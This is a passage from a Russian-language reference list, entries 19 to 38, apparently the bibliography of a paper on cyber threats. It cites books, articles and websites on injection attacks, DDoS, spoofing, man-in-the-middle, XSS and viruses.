19. Мороз А. Mail bombs или почтовые бомбы // it-sektor.ru - сайт Александра Мороз о защите и безопасности киберпространства, информационных технологий, URL: http://it-sektor.ru/mail-bombs-ili-pochtovye-bomby.html

20. Мулица Д. Тестирование безопасности: PHP инъекция // Презентация доклада Дмитрия Мулица на конференции SQADays-14, Львов 8-9 ноября 2013

21. Новости ferra.ru, Microsoft повышает уровень безопасности для Xbox Live // Новостная служба Ferra, 20.07.2012, URL: http://www.ferra.ru/ru/games/news/2012/07/20/Microsoft-Xbox-Live/

22. Негус К. Linux. Библия пользователя, 5-е издание / Компьютерное издательство "Диалектика", 2006. - 196 с.

23. Портал SecurityLab IP-спуфинг // securitylab.ru - информационный портал по безопасности URL: http://www.securitylab.ru/news/tags/IP-спуфинг/

24. Портал securitylab.ru DDoS // securitylab.ru - информационный портал по безопасности, URL: http://www.securitylab.ru/news/tags/DDoS/

25. Портал rosinvest.com, статья «Сбербанк: потери от киберугроз в мире к 2018 году могут вырасти до 2 трлн долларов»// Новости бизнеса, Банковские, Бизнес

портал RosInvest.Com, 10 июня 2016 г. URL: http://rosinvest.com/novosti/1265275

26. Руайе А. Совет Европы. Публикация Совета Европы. Борьба с киберпреступностью 2010. - 32 с.

27. Скембрей Д, Мак-Клар С. Секреты хакеров. Безопасность Windows Server 2003 – готовые решения. Вильямс. 2004. - 249 с.

28. Справочник php.net SQL-инъекции // справочная php.net URL: http://php.net/manual/ru/security.database.sql-injection.php

29. Фишер Д. Что такое «человек посередине» // Блог Лаборатории Касперского, 15 апреля 2013, URL: https://blog.kaspersky.ru/chto-takoe-chelovek-poseredine/740/

30. Фленов М. Е. Web-сервер глазами хакера: 2-е изд., перераб. и доп. — СПб.: БХВ-Петербург,2009. — 5 с.

31. Фленов М. Компьютер глазами хакера. 3-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2012. — 5 с.

32. Холмогоров В. PRO Вирусы / Серия "Просто", 1-е издание, Издательство Страта, 2015 г. - 94 с.

33. Шевченко А. Атаки на банковские системы 17.03.2012 // Esage Lab, URL: http://nobunkum.ru/ru/banker-attacks

34. inSafety, XPath injection - это атака на приложения, создающие XML Path Language запросы // inSafety, 2010, URL: http://insafety.org/xpath.php

35. Rainbow Technologies и WatchGuard Technologies на основании публикаций автора Rik Farrow, специалиста по компьютерной безопасности. Атаки на сеть через переполнение буфера – технологии и способы борьбы // Rainbow Security, URL: http://www.rnbo.ru/press-center/news229.php

36. Ruby on Rails Инъекции // rusrails.ru, URL: http://v32.rusrails.ru/ruby-on-rails-security-guide/injection

37.securityscripts.ru, 29 окт 2012 // securityscripts.ru URL: http://www.securityscripts.ru/articles/XML/xpath_injection_security.html

38. Guillaumier J. Cross Site Scripting – The Underestimated Exploit, 5.09.2007 // windowsecurity.com, URL: http://www.windowsecurity.com/articles-tutorials/Web_Application_Security/Cross-Site-Scripting-Underestimated-Exploit.html